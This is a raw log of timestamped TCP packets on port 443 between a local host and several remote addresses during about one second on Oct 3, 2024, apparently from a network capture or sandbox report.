Oct 3, 2024 18:18:11.976843119 CEST	49726	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.976861000 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.978197098 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.978427887 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.978442907 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.979326963 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.979360104 CEST	443	49725	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.979410887 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.979796886 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.979870081 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.979995966 CEST	49725	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.980029106 CEST	443	49725	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.980144024 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.980151892 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.981530905 CEST	443	49725	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.981606007 CEST	49725	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.981985092 CEST	49725	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.982090950 CEST	443	49725	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.982173920 CEST	49725	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.982188940 CEST	443	49725	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.985424995 CEST	443	49727	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.985665083 CEST	49727	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.985732079 CEST	443	49727	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.989049911 CEST	443	49727	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.989145041 CEST	49727	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.989465952 CEST	49727	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.989511013 CEST	443	49730	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.989557981 CEST	443	49727	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.989583015 CEST	49727	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.989725113 CEST	49730	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.989759922 CEST	443	49730	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.989808083 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.990055084 CEST	49728	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.990118980 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.991234064 CEST	443	49730	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.991307974 CEST	49730	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.991566896 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.991590977 CEST	49730	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.991655111 CEST	49728	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.991677999 CEST	443	49730	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.991717100 CEST	49730	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.991959095 CEST	49728	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.992055893 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.992060900 CEST	49728	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.997215033 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:11.997298956 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:11.997445107 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:11.998286009 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:11.998286009 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:11.998310089 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:11.998321056 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:12.030766964 CEST	49726	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.030767918 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 3, 2024 18:18:12.030776024 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.030868053 CEST	49725	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.030870914 CEST	49727	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.030915976 CEST	443	49727	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.035429955 CEST	443	49730	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.039413929 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.045752048 CEST	49730	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.045757055 CEST	49728	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.045788050 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.045800924 CEST	443	49730	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.077739954 CEST	49727	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.093734980 CEST	49730	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.093775034 CEST	49728	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.127753973 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.127793074 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.127824068 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.127849102 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.127866030 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.127876043 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.127892017 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.127908945 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.127947092 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.127953053 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.128329039 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.128371000 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.128380060 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.128385067 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.128434896 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.129028082 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.129072905 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.129107952 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.129141092 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.129139900 CEST	49726	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.129172087 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.129190922 CEST	49726	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.129218102 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.129594088 CEST	49726	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.129601955 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.129875898 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.129921913 CEST	49726	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.129929066 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.129990101 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.130039930 CEST	49726	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.131366014 CEST	49726	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.131390095 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.131730080 CEST	49731	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.131810904 CEST	443	49731	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.131999016 CEST	49731	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.132391930 CEST	49731	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.132428885 CEST	443	49731	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.132579088 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.140651941 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.140661955 CEST	443	49727	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.140758038 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.140764952 CEST	443	49727	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.140826941 CEST	49728	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.140836954 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.140880108 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.140883923 CEST	49727	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.140949011 CEST	443	49727	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.140993118 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.140995979 CEST	49728	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.141016960 CEST	443	49727	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.141022921 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.141083956 CEST	49728	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.141087055 CEST	49727	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.141110897 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.141267061 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.141320944 CEST	49728	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.141335964 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.141540051 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.141638994 CEST	49728	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.143690109 CEST	49728	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.143727064 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.144018888 CEST	49727	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.144052982 CEST	443	49727	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.163064957 CEST	443	49725	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.163228989 CEST	443	49725	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.163332939 CEST	49725	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.163887024 CEST	49725	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.163909912 CEST	443	49725	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.171593904 CEST	49732	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.171652079 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.171719074 CEST	49733	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.171761036 CEST	49732	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.171782970 CEST	443	49733	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.171905994 CEST	49733	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.172024012 CEST	49732	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.172056913 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.172172070 CEST	49733	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.172203064 CEST	443	49733	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.173758030 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.173794985 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.221949100 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.260945082 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.261138916 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.261228085 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.261296988 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.261322021 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.261405945 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.261478901 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.261491060 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.261553049 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.261950016 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.262100935 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.262155056 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.262167931 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.262581110 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.262646914 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.262658119 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.262752056 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.262840033 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.262914896 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.262921095 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.262949944 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.262978077 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.263142109 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.263230085 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.263231039 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.263254881 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.263319016 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.263340950 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.264456034 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.264535904 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.264549017 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.264635086 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.264715910 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.264728069 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.315726042 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.334398985 CEST	443	49730	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.334774971 CEST	443	49730	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.334877014 CEST	49730	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.336042881 CEST	49730	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.336078882 CEST	443	49730	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.339788914 CEST	49734	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.339848995 CEST	443	49734	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.339936972 CEST	49734	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.340217113 CEST	49734	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.340236902 CEST	443	49734	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.347628117 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.347784042 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.347848892 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.347870111 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.347970009 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.348046064 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.348113060 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.348133087 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.348172903 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.348177910 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.348709106 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.348779917 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.348786116 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.348804951 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.348875046 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.348880053 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.349601984 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.349661112 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.349668980 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.349684000 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.349728107 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.349787951 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.349838972 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.350351095 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.350363970 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.368477106 CEST	49736	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:12.368510962 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:12.368912935 CEST	49736	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:12.369081974 CEST	49736	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:12.369098902 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:12.373687029 CEST	49738	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:12.373737097 CEST	443	49738	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:12.373821974 CEST	49738	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:12.374747992 CEST	49738	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:12.374778032 CEST	443	49738	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:12.377315044 CEST	49739	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.377357006 CEST	443	49739	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.377420902 CEST	49739	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.377837896 CEST	49739	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.377863884 CEST	443	49739	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.459757090 CEST	443	49707	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:12.459861040 CEST	443	49707	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:12.459952116 CEST	49707	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:12.541368008 CEST	49707	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:12.541440964 CEST	443	49707	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:12.635807037 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 3, 2024 18:18:12.660995960 CEST	443	49731	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.661667109 CEST	49731	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.661700964 CEST	443	49731	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.662595987 CEST	443	49731	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.662678957 CEST	49731	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.663136005 CEST	49731	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.663181067 CEST	49731	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.663212061 CEST	443	49731	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.663245916 CEST	49731	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.663276911 CEST	49731	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.663688898 CEST	49740	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.663729906 CEST	443	49740	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.663815022 CEST	49740	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.664058924 CEST	49740	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.664071083 CEST	443	49740	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.697405100 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.697701931 CEST	49732	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.697762966 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.699196100 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.699271917 CEST	49732	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.699529886 CEST	49732	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.699625969 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.699703932 CEST	49732	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.735343933 CEST	443	49733	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.738269091 CEST	49733	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.738332033 CEST	443	49733	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.739793062 CEST	443	49733	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.739887953 CEST	49733	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.740307093 CEST	49733	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.740494967 CEST	49733	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.740545988 CEST	443	49733	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.743444920 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.752676964 CEST	49732	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.752739906 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.793837070 CEST	49733	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.793848038 CEST	49732	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.793855906 CEST	443	49733	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.841788054 CEST	49733	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.845344067 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.845459938 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.845545053 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.845628977 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.845635891 CEST	49732	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.845704079 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.845743895 CEST	49732	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.845801115 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.845870018 CEST	49732	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.845886946 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.845971107 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.846069098 CEST	49732	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.846085072 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.846232891 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.846318007 CEST	49732	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.846698046 CEST	49732	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.846730947 CEST	443	49732	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.847594023 CEST	443	49734	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.847914934 CEST	49734	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.847939968 CEST	443	49734	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.849400043 CEST	443	49734	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.849477053 CEST	49734	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.850148916 CEST	49734	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.850238085 CEST	443	49734	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.850524902 CEST	49734	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.850539923 CEST	443	49734	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.878761053 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 3, 2024 18:18:12.882364988 CEST	443	49738	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:12.882745981 CEST	49738	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:12.882774115 CEST	443	49738	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:12.883729935 CEST	443	49738	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:12.883796930 CEST	49738	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:12.884222031 CEST	49738	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:12.884243965 CEST	49738	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:12.884274960 CEST	443	49738	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:12.884316921 CEST	49738	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:12.884357929 CEST	49738	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:12.884701014 CEST	49741	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:12.884751081 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:12.884843111 CEST	49741	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:12.885130882 CEST	49741	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:12.885154963 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:12.889712095 CEST	443	49733	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.889766932 CEST	443	49733	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.890223980 CEST	443	49733	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.890291929 CEST	49733	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.891052961 CEST	49733	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.891067028 CEST	443	49733	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.891529083 CEST	443	49739	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.892091990 CEST	49739	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.892122984 CEST	443	49739	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.893528938 CEST	443	49739	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.893621922 CEST	49739	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.894053936 CEST	49739	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.894129992 CEST	443	49739	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.894155025 CEST	49739	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.894218922 CEST	49739	443	192.168.2.16	104.21.57.136
